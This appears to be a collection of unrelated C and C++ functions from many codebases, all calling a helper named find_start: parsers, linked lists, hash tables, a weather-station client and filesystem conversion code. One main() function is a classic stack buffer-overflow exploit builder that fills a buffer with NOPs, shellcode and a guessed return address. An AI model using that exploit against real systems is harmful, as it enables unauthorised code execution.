find_context_t* find_context_new( document_t* doc, int page_index, const char* text ) { find_context_t* fc; fc = ( find_context_t* )malloc( sizeof( find_context_t ) ); if ( fc == NULL ) { goto error1; } memset( fc, 0, sizeof ( find_context_t ) ); fc->doc = doc; fc->state = FIND_STATE_INIT; fc->page_index = page_index; fc->no_match_since = 0; fc->text = strdup( text ); if ( fc->text == NULL ) { goto error2; } g_mutex_init(&fc->find_lock); g_cond_init(&fc->find_cond); find_start( fc ); return fc; error2: free( fc ); error1: return NULL; }
int cmp_l(char *com) { int c; int b; int start; int end; b = 0; c = 0; start = find_start(com); end = find_end(com); while (start < end) { if (com[start] == ' ') { b++; while (com[start] == ' ') start++; } else { start++; c++; } } //my_printf("Nombre de mot : %d\nNombre d'espace : %d\nNombre a malloc : %d\n", c, b, (c + b)); return (c + b); }
unsigned char * GetEDID_DDC1(unsigned int *s_ptr) { unsigned char *d_block, *d_pos; unsigned int *s_pos, *s_end; int s_start; int i,j; s_start = find_start(s_ptr); if (s_start==-1) return NULL; s_end = s_ptr + NUM; s_pos = s_ptr + s_start; d_block=xalloc(EDID1_LEN); if (!d_block) return NULL; d_pos = d_block; for (i=0;i<EDID1_LEN;i++) { for (j=0;j<8;j++) { *d_pos <<= 1; if (*s_pos) { *d_pos |= 0x01; } s_pos++; if (s_pos == s_end) s_pos=s_ptr; }; s_pos++; if (s_pos == s_end) s_pos=s_ptr; d_pos++; } xfree(s_ptr); if (d_block && DDC_checksum(d_block,EDID1_LEN)) return NULL; return (resort(d_block)); }
// Remove a PCB from the linked list, then return the start of the linked list pcb *pcb_remove(pcb *item) { pcb *next, *new_start; if (item == NULL) { return NULL; } if (item->next == NULL) { new_start = item->prev; item->prev = NULL; if(new_start) { new_start->next = NULL; } return new_start; } else { next = item->next; next->prev = item->prev; if (item->prev) { item->prev->next = next; } // remove links to linked list. item->next = item->prev = NULL; } return find_start(next); }
char *epure_str(char *com) { char *to_return; int start; int end; int i; start = find_start(com); end = find_end(com); i = 0; if ((to_return = malloc(sizeof(char) * cmp_l(com))) == NULL) return ("Error malloc"); while (start < end) { if (com[start] == ' ' && i != end) { to_return[i] = com[start]; while (com[start] == ' ') start++; i++; } else { to_return[i] = com[start]; start++; i++; } } to_return[cmp_l(com) + 1] == '\0'; return (to_return); }
int find_next_callable(unsigned* pycbuf, int start, int num) { while(num--) { start++; start = find_start(pycbuf, start); } return start; }
int find_start_of_this_code(unsigned* pycbuf, int cur) { while(pycbuf[cur] != TYPE_CODE && cur > 0) cur--; if (cur <= 0) return find_start(pycbuf, 0); return cur + 22; }
/* * Dispatches the data based on the state. */ static int dispatch(JSONRD_T *jsonrd, const char *chunk, size_t size) { int consumed; if (jsonrd->state <= PS_FIND_START) { switch (jsonrd->state) { case PS_FIND_LANDMARK: consumed = find_landmark(jsonrd, chunk, size); break; case PS_READ_VAR: consumed = read_var(jsonrd, chunk, size); break; case PS_FIND_START: consumed = find_start(jsonrd, chunk, size); break; case PS_ERROR: consumed = size; break; default: consumed = 0; die("Bad state"); } } else { consumed = next_token(jsonrd, chunk, size); if (jsonrd->token.state == TS_FOUND_TOKEN) { switch (jsonrd->state) { case PS_PROPERTY_OR_ENDOBJ: expect_property_or_endobj(jsonrd); break; case PS_COLON: expect_colon(jsonrd); break; case PS_PROPERTY_VALUE: expect_property_value(jsonrd); break; case PS_COMMA_OR_ENDOBJ: expect_comma_or_endobj(jsonrd); break; case PS_PROPERTY: expect_property(jsonrd); break; case PS_VALUE_OR_ENDLST: expect_value_or_endlst(jsonrd); break; case PS_COMMA_OR_ENDLST: expect_comma_or_endlst(jsonrd); break; case PS_LIST_VALUE: expect_list_value(jsonrd); break; default: die("Bad state"); } } } assert(consumed >= 0); assert(consumed <= size); return consumed; }
struct value_iface_t * st_new_tod_literal( char *string, const struct st_location_t *string_location, struct parser_t *parser) { char *start, *h, *m, *s, *ms; if(find_start(string, &(start)) == ESSTEE_ERROR) { parser->errors->internal_error( parser->errors, __FILE__, __FUNCTION__, __LINE__); goto error_free_resources; } if(find_h_m_s_ms(start, &(h), &(m), &(s), &(ms)) == ESSTEE_ERROR) { parser->errors->internal_error( parser->errors, __FILE__, __FUNCTION__, __LINE__); goto error_free_resources; } struct tod_t tod; if(numberize_tod_strings( &tod, h, m, s, ms, string_location, parser) == ESSTEE_ERROR) { goto error_free_resources; } free(string); return st_new_typeless_tod_value(tod.h, tod.m, tod.s, tod.fs, CONSTANT_VALUE, parser->config, parser->errors); error_free_resources: free(string); return NULL; }
struct value_iface_t * st_new_date_literal( char *string, const struct st_location_t *string_location, struct parser_t *parser) { char *year, *month, *day, *start; if(find_start(string, &(start)) == ESSTEE_ERROR) { parser->errors->internal_error( parser->errors, __FILE__, __FUNCTION__, __LINE__); goto error_free_resources; } if(find_year_month_day(start, &(year), &(month), &(day)) == ESSTEE_ERROR) { parser->errors->internal_error( parser->errors, __FILE__, __FUNCTION__, __LINE__); goto error_free_resources; } struct date_t date; if(numberize_date_strings( &date, year, month, day, string_location, parser) == ESSTEE_ERROR) { goto error_free_resources; } free(string); return st_new_typeless_date_value(date.y, date.m, date.d, CONSTANT_VALUE, parser->config, parser->errors); error_free_resources: free(string); return NULL; }
bool contains(Key const& val) const { check_index(); // TODO: use pointers into index array instead of indices into it - might be slightly faster if we cache // end pointer as member for (I i = find_start(val);;) { I const j = index_[i]; if (j == (I)kNullIndex) return false; else if (HashEqualsTraits::operator()(vals_[j], val)) return true; else if (i == mask_) i = 0; else ++i; } }
I index(Key const& val) { check_index(); I sz = vals_.size(); if (sz >= growAt_) rehash_pow2(hash_capacity_for_size(sz + 1)); assert(sz < growAt_); for (I i = find_start(val);;) { I& j = index_[i]; if (j == (I)kNullIndex) { vals_.push_back(val); return (j = sz); } else if (HashEqualsTraits::operator()(vals_[j], val)) return j; else if (i == mask_) i = 0; else ++i; } }
int main(int argc, char *argv[]) { char *buff, *ptr; long *addr_ptr, addr; int offset=offset_size, bsize=buffer_size; int i; if (argc > 1) bsize = atoi(argv[1]); if (argc > 2) offset = atoi(argv[2]); if (!(buff = malloc(bsize))) { printf("Can't allocate memory.\n"); exit(0); } addr = find_start() - offset; fprintf(stderr, "Attempting address: 0x%x\n", addr); /* initialize buffer with address */ ptr = buff; addr_ptr = (long *) ptr; for (i = 0; i < bsize; i+=4) *(addr_ptr++) = addr; /* Fill first half of the buffer with NOP */ for (i = 0; i < bsize/2; i++) buff[i] = NOP; /* add shellcode */ ptr = buff + ((bsize/2) - (strlen(shellcode)/2)); for (i = 0; i < strlen(shellcode); i++) *(ptr++) = shellcode[i]; buff[bsize - 1] = '\0'; /* open shell with BUF environment variable */ /* memcpy(buff,"BUF=",4); putenv(buff); system("/bin/bash");*/ fwrite(buff+4, bsize, 1, stdout); return 0; }
void draw_ress_squares(t_env *e, int i, int j) { int start; int c; int sq_hl; int sq_vl; sq_hl = e->screen_width / e->mszy; sq_vl = e->screen_height / e->mszx; c = -1; while (c++, c < NB_RESS) { if (e->res[i][j][c] > 0) { start = find_start(e, (i * sq_vl * e->mlx->TLN) + (j * sq_hl), c); draw_img(e, start, c); } } }
/* * Parses the bitstream and returns the preformated datastring. */ char *parse_data(const char *buffer) { int i, j=0, start, end; static char data[50]; char tmp; start = find_start(buffer); end = find_end(buffer, start); for(i=start;i<end;i+=5) { tmp = 1 * buffer[i]; tmp += 2 * buffer[i+1]; tmp += 4 * buffer[i+2]; tmp += 8 * buffer[i+3]; tmp += 0x30; data[j] = tmp; lcd_data(tmp); j++; } return data; }
/* Return -1 on error */ int patch_location_order( alphix *saix, /* Strip alpha index object */ alphix *paix, /* Patch alpha index object */ int ixord, /* Index order, 0 = strip then patch */ char *_ax /* Patch location string */ ) { char *ax; /* Copy of input string */ char *v; alphix *rh; /* Least significant, right hand alphix */ alphix *lh; /* Most significant, left hand alphix */ int ri, li; /* Right hand and left hand index numbers */ if ((ax = malloc(strlen(_ax)+1)) == NULL) return -1; strcpy(ax,_ax); if (ixord == 0) { lh = saix; /* Strip is left hand */ rh = paix; /* Patch is right hand */ } else { rh = saix; /* Strip is right hand */ lh = paix; /* Patch is left hand */ } /* We need to identify the boundary between */ /* the right hand and left hand indexes. */ /* We assume that the sequences are distinguishable ... */ v = find_start(rh, ax); ri = rh->nix(rh, v); *v = '\000'; li = lh->nix(lh, ax); free(ax); if (ri < 0 || li < 0) return -1; if (ixord == 0) /* Strip is left hand */ return li * rh->cmct + ri; else return ri * lh->cmct + li; }
pcb *insert_after(pcb *item, pcb *after) { if (item == NULL) { return NULL; } if (after == NULL) { return NULL; } item->next = after->next; after->next = item; if (item->next) item->next->prev = item; item->prev = after; return find_start(item); }
void ft_move_lemmins(t_room **rooms, t_best_route *best, t_lemmin *lemmin) { int tot_lem; t_room *end; t_room *start; t_lemmin *first_lem; t_best_route *best_start; best_start = best; end = find_end(rooms); start = find_start(rooms); first_lem = lemmin; tot_lem = start->num_of_lem; mv_start(first_lem, best, rooms); ft_putstr("\n"); while (end->num_of_lem < tot_lem) { mv_play(first_lem, best, rooms); mv_start(first_lem, best, rooms); ft_putstr("\n"); } }
void reverseWords(string &s) { //char * str = new char[s.size()+1]; string str; int index = 0; int x = eat(s, s.size()-1); int y; while(x >= 0){ y = find_start(s, x-1); //cout << s[y] << "..." << s[x] << " - " << "[" << y << "," << x << "]" << endl; for(int i=y; i<=x; i++){ str.push_back(s[i]); } str.push_back(' '); x = eat(s, y-1); } if(str.size() > 0){ str.pop_back(); } s = str; //cout << str << endl; }
/** * Place the player at a random starting location. * \param c current chunk * \param p the player */ void new_player_spot(struct chunk *c, struct player *p) { int y, x; /* Try to find a good place to put the player */ if (OPT(p, birth_levels_persist) && square_in_bounds_fully(c, p->py, p->px) && square_isstairs(c, p->py, p->px)) { y = p->py; x = p->px; } else if (!find_start(c, &y, &x)) { quit("Failed to place player!"); } /* Create stairs the player came down if allowed and necessary */ if (!OPT(p, birth_connect_stairs)) ; else if (p->upkeep->create_down_stair) square_set_feat(c, y, x, FEAT_MORE); else if (p->upkeep->create_up_stair) square_set_feat(c, y, x, FEAT_LESS); player_place(c, p, y, x); }
struct value_iface_t * st_new_date_tod_literal( char *string, const struct st_location_t *string_location, struct parser_t *parser) { char *start, *y, *mon, *d, *h, *min, *s, *ms; if(find_start(string, &(start)) == ESSTEE_ERROR) { parser->errors->internal_error( parser->errors, __FILE__, __FUNCTION__, __LINE__); goto error_free_resources; } if(strlen(start) != 22) { parser->errors->internal_error( parser->errors, __FILE__, __FUNCTION__, __LINE__); goto error_free_resources; } if(find_year_month_day(start, &(y), &(mon), &(d)) == ESSTEE_ERROR) { parser->errors->internal_error( parser->errors, __FILE__, __FUNCTION__, __LINE__); goto error_free_resources; } if(find_h_m_s_ms(d+3, &(h), &(min), &(s), &(ms)) == ESSTEE_ERROR) { parser->errors->internal_error( parser->errors, __FILE__, __FUNCTION__, __LINE__); goto error_free_resources; } struct date_t date; struct tod_t tod; if(numberize_date_strings( &date, y, mon, d, string_location, parser) == ESSTEE_ERROR) { goto error_free_resources; } if(numberize_tod_strings( &tod, h, min, s, ms, string_location, parser) == ESSTEE_ERROR) { goto error_free_resources; } free(string); return st_new_typeless_date_tod_value(date.y, date.m, date.d, tod.h, tod.m, tod.s, tod.fs, CONSTANT_VALUE, parser->config, parser->errors); error_free_resources: free(string); return NULL; }
struct value_iface_t * st_new_duration_literal( char *string, const struct st_location_t *string_location, struct parser_t *parser) { char *work_buffer; enum duration_part_t part_type; double part_content; char defined = 0x00; char fractions = 0x00; unsigned parts_defined = 0; struct duration_t duration; strip_underscores(string); if(find_start(string, &(work_buffer)) == ESSTEE_ERROR) { parser->errors->internal_error( /* Flex returning wrong type of string */ parser->errors, __FILE__, __FUNCTION__, __LINE__); goto error_free_resources; } while((part_type = next_duration_part(&(work_buffer), &(part_content), string_location, parser)) != PLITERALS_NOTHING) { switch(part_type) { case PLITERALS_ERROR: goto error_free_resources; case PLITERALS_D: duration.d = part_content; defined |= (1 << 0); fractions |= is_fraction(part_content, 0); parts_defined++; break; case PLITERALS_H: duration.h = part_content; defined |= (1 << 1); fractions |= is_fraction(part_content, 1); parts_defined++; break; case PLITERALS_M: duration.m = part_content; defined |= (1 << 2); fractions |= is_fraction(part_content, 2); parts_defined++; break; case PLITERALS_S: duration.s = part_content; defined |= (1 << 3); fractions |= is_fraction(part_content, 3); parts_defined++; break; case PLITERALS_MS: duration.ms = part_content; defined |= (1 << 4); fractions |= is_fraction(part_content, 4); parts_defined++; break; default: parser->errors->internal_error( parser->errors, __FILE__, __FUNCTION__, __LINE__); goto error_free_resources; } } if(defined == 0) { parser->errors->internal_error( /* Flex returning wrong type of string (empty) */ parser->errors, __FILE__, __FUNCTION__, __LINE__); goto error_free_resources; } else if(fractions > defined || (parts_defined > 1 && fractions == defined)) { parser->errors->new_issue_at( parser->errors, "only the last duration part may contain a fraction", ESSTEE_IO_ERROR, 1, string_location); goto error_free_resources; } free(string); return st_new_typeless_duration_value(duration.d, duration.h, duration.m, duration.s, duration.ms, CONSTANT_VALUE, parser->config, parser->errors); error_free_resources: free(string); return NULL; }
void add_index(I add, T const& val) { assert(vals_[add] == val); add_index_start(add, find_start(val)); }
int main(int argc, char *argv[]) { int sockfd, numbytes; char buf[MAXDATASIZE]; char version[50]; hilow_parse hilow; loop_parse loop;// __attribute__ ((packed)); struct addrinfo hints, *servinfo, *p; int rv; char s[INET6_ADDRSTRLEN]; if (argc != 2) { fprintf(stderr,"usage: client hostname\n"); exit(1); } memset(&hints, 0, sizeof hints); hints.ai_family = AF_UNSPEC; hints.ai_socktype = SOCK_STREAM; if ((rv = getaddrinfo(argv[1], PORT, &hints, &servinfo)) != 0) { fprintf(stderr, "getaddrinfo: %s\n", gai_strerror(rv)); return 1; } // loop through all the results and connect to the first we can for(p = servinfo; p != NULL; p = p->ai_next) { if ((sockfd = socket(p->ai_family, p->ai_socktype, p->ai_protocol)) == -1) { perror("client: socket"); continue; } if (connect(sockfd, p->ai_addr, p->ai_addrlen) == -1) { close(sockfd); perror("client: connect"); continue; } break; } if (p == NULL) { fprintf(stderr, "client: failed to connect\n"); return 2; } inet_ntop(p->ai_family, get_in_addr((struct sockaddr *)p->ai_addr), s, sizeof s); //printf("client: connecting to %s\n", s); freeaddrinfo(servinfo); // all done with this structure /*** HILOWS ***/ buffer data = get_weather("HILOWS",sockfd); find_start(&data); memcpy(&hilow,data.data,data.len); printf("daily high wind speed = %umph\n", hilow.wind.day); printf("daily high temperature = %.2f F\n",((float)hilow.outTemp.dayHigh/10)); printf("daily low DP = %d F\n",hilow.dewPoint.dayLow); printf("mothly high Humididty = %u%%\n", hilow.extraHums.monthHigh[0]); printf("daily Low Humidity = %u%%\n", hilow.extraHums.dayLow[0]); data = get_weather("LOOP 1",sockfd); find_start(&data); memcpy(&loop,data.data,data.len); //printInHex(data.data,data.len);printf("\n"); // printf("id\t\t\t= %c%c%c\n",loop.id[0], loop.id[1], loop.id[2]); // printf("barTrend\t\t= %u\n", loop.barTrend); // printf("Packet type\t\t= %u\n",(loop.packetType)); // printf("NextRecord\t\t= %u\n",loop.nextRecord); printf("barometric pressure\t= %.3f in. Hg\n",(float)loop.barometer/1000); // printf("Inside Temperature\t= %.2f F %.2f C\n",((float)loop.insideTemperature/10), F2C((float)loop.insideTemperature/10)); // printf("Inside Humidity\t\t= %d%%\n",loop.insideHumidity); printf("Outside Temperature\t= %.2f F %.2f C\n", ((float)loop.outsideTemperature/10),F2C((float)loop.outsideTemperature/10)); printf("Wind Speed\t\t= %u mph\n", loop.windSpeed); printf("10 Min Avg Wind Speed\t= %d mph\n",loop.tenMinAvgWS); printf("Wind Direction\t\t= %u degrees\n", loop.windDirection); printf("outside Humidity \t= %d%%\n",loop.outsideHumidity); printf("Rain Rate\t\t= %.2f in. per hour\n",((float)loop.rainRate/100)); printf("Solar Radiation\t\t= %u watts/m^2\n",loop.solarRadiation); printf("Day Rain \t\t= %.2f in.\n",((float)loop.dayRain/100)); printf("Month Rain \t\t= %.2f in.\n",((float)loop.monthRain/100)); printf("Year Rain \t\t= %.2f in.\n",((float)loop.yearRain/100)); printf("Day ET \t\t\t= %.2f in.\n",((float)loop.dayET/100)); printf("Month ET \t\t= %.2f in.\n",((float)loop.monthET/100)); printf("Year ET \t\t= %.2f in.\n",((float)loop.yearET/100)); printf("sunrise was at \t\t %d:%.2d\n", loop.timeOfSunrise/100, loop.timeOfSunrise %100); printf("sunset was at \t\t %d:%.2d\n",loop.timeOfSunset/100,loop.timeOfSunset %100); close(sockfd); return 0; }
/* for every page of file: read page, cut part of extent pointing to this page, put data of page tree by tail item */ int extent2tail(struct file * file, struct unix_file_info *uf_info) { int result; struct inode *inode; struct page *page; unsigned long num_pages, i; unsigned long start_page; reiser4_key from; reiser4_key to; unsigned count; __u64 offset; assert("nikita-3362", ea_obtained(uf_info)); inode = unix_file_info_to_inode(uf_info); assert("nikita-3412", !IS_RDONLY(inode)); assert("vs-1649", uf_info->container != UF_CONTAINER_TAILS); assert("", !reiser4_inode_get_flag(inode, REISER4_PART_IN_CONV)); offset = 0; if (reiser4_inode_get_flag(inode, REISER4_PART_MIXED)) { /* * file is marked on disk as there was a conversion which did * not complete due to either crash or some error. Find which * offset tail conversion stopped at */ result = find_start(inode, EXTENT_POINTER_ID, &offset); if (result == -ENOENT) { /* no extent found, everything is converted */ uf_info->container = UF_CONTAINER_TAILS; complete_conversion(inode); return 0; } else if (result != 0) /* some other error */ return result; } reiser4_inode_set_flag(inode, REISER4_PART_IN_CONV); /* number of pages in the file */ num_pages = (inode->i_size + - offset + PAGE_CACHE_SIZE - 1) >> PAGE_CACHE_SHIFT; start_page = offset >> PAGE_CACHE_SHIFT; inode_file_plugin(inode)->key_by_inode(inode, offset, &from); to = from; result = 0; for (i = 0; i < num_pages; i++) { __u64 start_byte; result = reserve_extent2tail_iteration(inode); if (result != 0) break; if (i == 0 && offset == 0) { reiser4_inode_set_flag(inode, REISER4_PART_MIXED); reiser4_update_sd(inode); } page = read_mapping_page(inode->i_mapping, (unsigned)(i + start_page), NULL); if (IS_ERR(page)) { result = PTR_ERR(page); break; } wait_on_page_locked(page); if (!PageUptodate(page)) { page_cache_release(page); result = RETERR(-EIO); break; } /* cut part of file we have read */ start_byte = (__u64) ((i + start_page) << PAGE_CACHE_SHIFT); set_key_offset(&from, start_byte); set_key_offset(&to, start_byte + PAGE_CACHE_SIZE - 1); /* * reiser4_cut_tree_object() returns -E_REPEAT to allow atom * commits during over-long truncates. But * extent->tail conversion should be performed in one * transaction. */ result = reiser4_cut_tree(reiser4_tree_by_inode(inode), &from, &to, inode, 0); if (result) { page_cache_release(page); break; } /* put page data into tree via tail_write */ count = PAGE_CACHE_SIZE; if ((i == (num_pages - 1)) && (inode->i_size & ~PAGE_CACHE_MASK)) /* last page can be incompleted */ count = (inode->i_size & ~PAGE_CACHE_MASK); while (count) { loff_t pos = start_byte; assert("edward-1537", file != NULL && file->f_dentry != NULL); assert("edward-1538", file->f_dentry->d_inode == inode); result = reiser4_write_tail(file, inode, (char __user *)kmap(page), count, &pos); reiser4_free_file_fsdata(file); if (result <= 0) { warning("", "reiser4_write_tail failed"); page_cache_release(page); reiser4_inode_clr_flag(inode, REISER4_PART_IN_CONV); return result; } count -= result; } /* release page */ lock_page(page); /* page is already detached from jnode and mapping. */ assert("vs-1086", page->mapping == NULL); assert("nikita-2690", (!PagePrivate(page) && jprivate(page) == 0)); /* waiting for writeback completion with page lock held is * perfectly valid. */ wait_on_page_writeback(page); reiser4_drop_page(page); /* release reference taken by read_cache_page() above */ page_cache_release(page); drop_exclusive_access(uf_info); /* * throttle the conversion. * FIXME-EDWARD: Calculate and pass the precise number * of pages that was dirtied */ reiser4_throttle_write(inode, 1); get_exclusive_access(uf_info); /* * nobody is allowed to complete conversion but a process which * started it */ assert("", reiser4_inode_get_flag(inode, REISER4_PART_MIXED)); } reiser4_inode_clr_flag(inode, REISER4_PART_IN_CONV); if (i == num_pages) { /* file is converted to formatted items */ assert("vs-1698", reiser4_inode_get_flag(inode, REISER4_PART_MIXED)); assert("vs-1260", inode_has_no_jnodes(reiser4_inode_data(inode))); uf_info->container = UF_CONTAINER_TAILS; complete_conversion(inode); return 0; } /* * conversion is not complete. Inode was already marked as * REISER4_PART_MIXED and stat-data were updated at the first * iteration of the loop above. */ warning("nikita-2282", "Partial conversion of %llu: %lu of %lu: %i", (unsigned long long)get_inode_oid(inode), i, num_pages, result); /* this flag should be cleared, otherwise get_exclusive_access_careful() will fall into infinite loop */ assert("edward-1550", !reiser4_inode_get_flag(inode, REISER4_PART_IN_CONV)); return result; }
/** * tail2extent * @uf_info: * * */ int tail2extent(struct unix_file_info *uf_info) { int result; reiser4_key key; /* key of next byte to be moved to page */ char *p_data; /* data of page */ unsigned page_off = 0, /* offset within the page where to copy data */ count; /* number of bytes of item which can be * copied to page */ struct page *pages[TAIL2EXTENT_PAGE_NUM]; struct page *page; int done; /* set to 1 when all file is read */ char *item; int i; struct inode *inode; int first_iteration; int bytes; __u64 offset; assert("nikita-3362", ea_obtained(uf_info)); inode = unix_file_info_to_inode(uf_info); assert("nikita-3412", !IS_RDONLY(inode)); assert("vs-1649", uf_info->container != UF_CONTAINER_EXTENTS); assert("", !reiser4_inode_get_flag(inode, REISER4_PART_IN_CONV)); offset = 0; first_iteration = 1; result = 0; if (reiser4_inode_get_flag(inode, REISER4_PART_MIXED)) { /* * file is marked on disk as there was a conversion which did * not complete due to either crash or some error. Find which * offset tail conversion stopped at */ result = find_start(inode, FORMATTING_ID, &offset); if (result == -ENOENT) { /* no tail items found, everything is converted */ uf_info->container = UF_CONTAINER_EXTENTS; complete_conversion(inode); return 0; } else if (result != 0) /* some other error */ return result; first_iteration = 0; } reiser4_inode_set_flag(inode, REISER4_PART_IN_CONV); /* get key of first byte of a file */ inode_file_plugin(inode)->key_by_inode(inode, offset, &key); done = 0; while (done == 0) { memset(pages, 0, sizeof(pages)); result = reserve_tail2extent_iteration(inode); if (result != 0) { reiser4_inode_clr_flag(inode, REISER4_PART_IN_CONV); goto out; } if (first_iteration) { reiser4_inode_set_flag(inode, REISER4_PART_MIXED); reiser4_update_sd(inode); first_iteration = 0; } bytes = 0; for (i = 0; i < sizeof_array(pages) && done == 0; i++) { assert("vs-598", (get_key_offset(&key) & ~PAGE_CACHE_MASK) == 0); page = alloc_page(reiser4_ctx_gfp_mask_get()); if (!page) { result = RETERR(-ENOMEM); goto error; } page->index = (unsigned long)(get_key_offset(&key) >> PAGE_CACHE_SHIFT); /* * usually when one is going to longterm lock znode (as * find_file_item does, for instance) he must not hold * locked pages. However, there is an exception for * case tail2extent. Pages appearing here are not * reachable to everyone else, they are clean, they do * not have jnodes attached so keeping them locked do * not risk deadlock appearance */ assert("vs-983", !PagePrivate(page)); reiser4_invalidate_pages(inode->i_mapping, page->index, 1, 0); for (page_off = 0; page_off < PAGE_CACHE_SIZE;) { coord_t coord; lock_handle lh; /* get next item */ /* FIXME: we might want to readahead here */ init_lh(&lh); result = find_file_item_nohint(&coord, &lh, &key, ZNODE_READ_LOCK, inode); if (result != CBK_COORD_FOUND) { /* * error happened of not items of file * were found */ done_lh(&lh); page_cache_release(page); goto error; } if (coord.between == AFTER_UNIT) { /* * end of file is reached. Padd page * with zeros */ done_lh(&lh); done = 1; p_data = kmap_atomic(page, KM_USER0); memset(p_data + page_off, 0, PAGE_CACHE_SIZE - page_off); kunmap_atomic(p_data, KM_USER0); break; } result = zload(coord.node); if (result) { page_cache_release(page); done_lh(&lh); goto error; } assert("vs-856", coord.between == AT_UNIT); item = ((char *)item_body_by_coord(&coord)) + coord.unit_pos; /* how many bytes to copy */ count = item_length_by_coord(&coord) - coord.unit_pos; /* limit length of copy to end of page */ if (count > PAGE_CACHE_SIZE - page_off) count = PAGE_CACHE_SIZE - page_off; /* * copy item (as much as will fit starting from * the beginning of the item) into the page */ p_data = kmap_atomic(page, KM_USER0); memcpy(p_data + page_off, item, count); kunmap_atomic(p_data, KM_USER0); page_off += count; bytes += count; set_key_offset(&key, get_key_offset(&key) + count); zrelse(coord.node); done_lh(&lh); } /* end of loop which fills one page by content of * formatting items */ if (page_off) { /* something was copied into page */ pages[i] = page; } else { page_cache_release(page); assert("vs-1648", done == 1); break; } } /* end of loop through pages of one conversion iteration */ if (i > 0) { result = replace(inode, pages, i, bytes); release_all_pages(pages, sizeof_array(pages)); if (result) goto error; /* * We have to drop exclusive access to avoid deadlock * which may happen because called by reiser4_writepages * capture_unix_file requires to get non-exclusive * access to a file. It is safe to drop EA in the middle * of tail2extent conversion because write_unix_file, * setattr_unix_file(truncate), mmap_unix_file, * release_unix_file(extent2tail) checks if conversion * is not in progress (see comments before * get_exclusive_access_careful(). * Other processes that acquire non-exclusive access * (read_unix_file, reiser4_writepages, etc) should work * on partially converted files. */ drop_exclusive_access(uf_info); /* throttle the conversion FIXME-EDWARD: Pass the precise number of pages that was dirtied */ reiser4_throttle_write(inode, 1); get_exclusive_access(uf_info); /* * nobody is allowed to complete conversion but a * process which started it */ assert("", reiser4_inode_get_flag(inode, REISER4_PART_MIXED)); } } if (result == 0) { /* file is converted to extent items */ reiser4_inode_clr_flag(inode, REISER4_PART_IN_CONV); assert("vs-1697", reiser4_inode_get_flag(inode, REISER4_PART_MIXED)); uf_info->container = UF_CONTAINER_EXTENTS; complete_conversion(inode); } else { /* * conversion is not complete. Inode was already marked as * REISER4_PART_MIXED and stat-data were updated at the first * iteration of the loop above. */ error: release_all_pages(pages, sizeof_array(pages)); reiser4_inode_clr_flag(inode, REISER4_PART_IN_CONV); warning("edward-1548", "Partial conversion of %llu: %i", (unsigned long long)get_inode_oid(inode), result); } out: /* this flag should be cleared, otherwise get_exclusive_access_careful() will fall into infinite loop */ assert("edward-1549", !reiser4_inode_get_flag(inode, REISER4_PART_IN_CONV)); return result; }
static void compute_one_cusp_shape( Triangulation *manifold, Cusp *cusp, FillingStatus which_structure) { PositionedTet initial_ptet; TraceDirection direction[2]; /* direction[M/L] */ Complex translation[2][2], /* translation[M/L][ultimate/penultimate] */ shape[2]; /* shape[ultimate/penultimate] */ int i; /* * Compute the longitudinal and meridional translations, and * divide them to get the cusp shape. * * Do parallel computations for the ultimate and penultimate shapes, * to estimate the accuracy of the final answer. */ /* * Find and position a tetrahedron so that the near edge of the top * vertex intersects both the meridian and the longitude. */ initial_ptet = find_start(manifold, cusp); for (i = 0; i < 2; i++) /* which curve */ { /* * Decide whether the meridian and longitude cross the near edge of the * top vertex in a forwards or backwards direction. */ direction[i] = (initial_ptet.tet->curve[i][initial_ptet.orientation] [initial_ptet.bottom_face] [initial_ptet.near_face] > 0) ? trace_forwards: trace_backwards; /* * Compute the translation. */ compute_translation(&initial_ptet, i, direction[i], translation[i], which_structure); } /* * Compute the cusp shape. */ for (i = 0; i < 2; i++) /* i = ultimate, penultimate */ shape[i] = complex_div(translation[L][i], translation[M][i]); /* will handle division by Zero correctly */ /* * Record the cusp shape and its accuracy. */ cusp->cusp_shape[which_structure] = shape[ultimate]; cusp->shape_precision[which_structure] = complex_decimal_places_of_accuracy(shape[ultimate], shape[penultimate]); /* * Adjust for the fact that the meridian and/or the longitude may have * been traced backwards. */ if (direction[M] != direction[L]) { cusp->cusp_shape[which_structure].real = - cusp->cusp_shape[which_structure].real; cusp->cusp_shape[which_structure].imag = - cusp->cusp_shape[which_structure].imag; } /* * As explained at the top of this file, the usual convention for the * cusp shape requires viewing the cusp from the fat part of * the manifold looking out, rather than from the cusp looking in, as * in done in the rest of SnapPea. For this reason, we must take the * complex conjugate of the final cusp shape. */ cusp->cusp_shape[which_structure].imag = - cusp->cusp_shape[which_structure].imag; }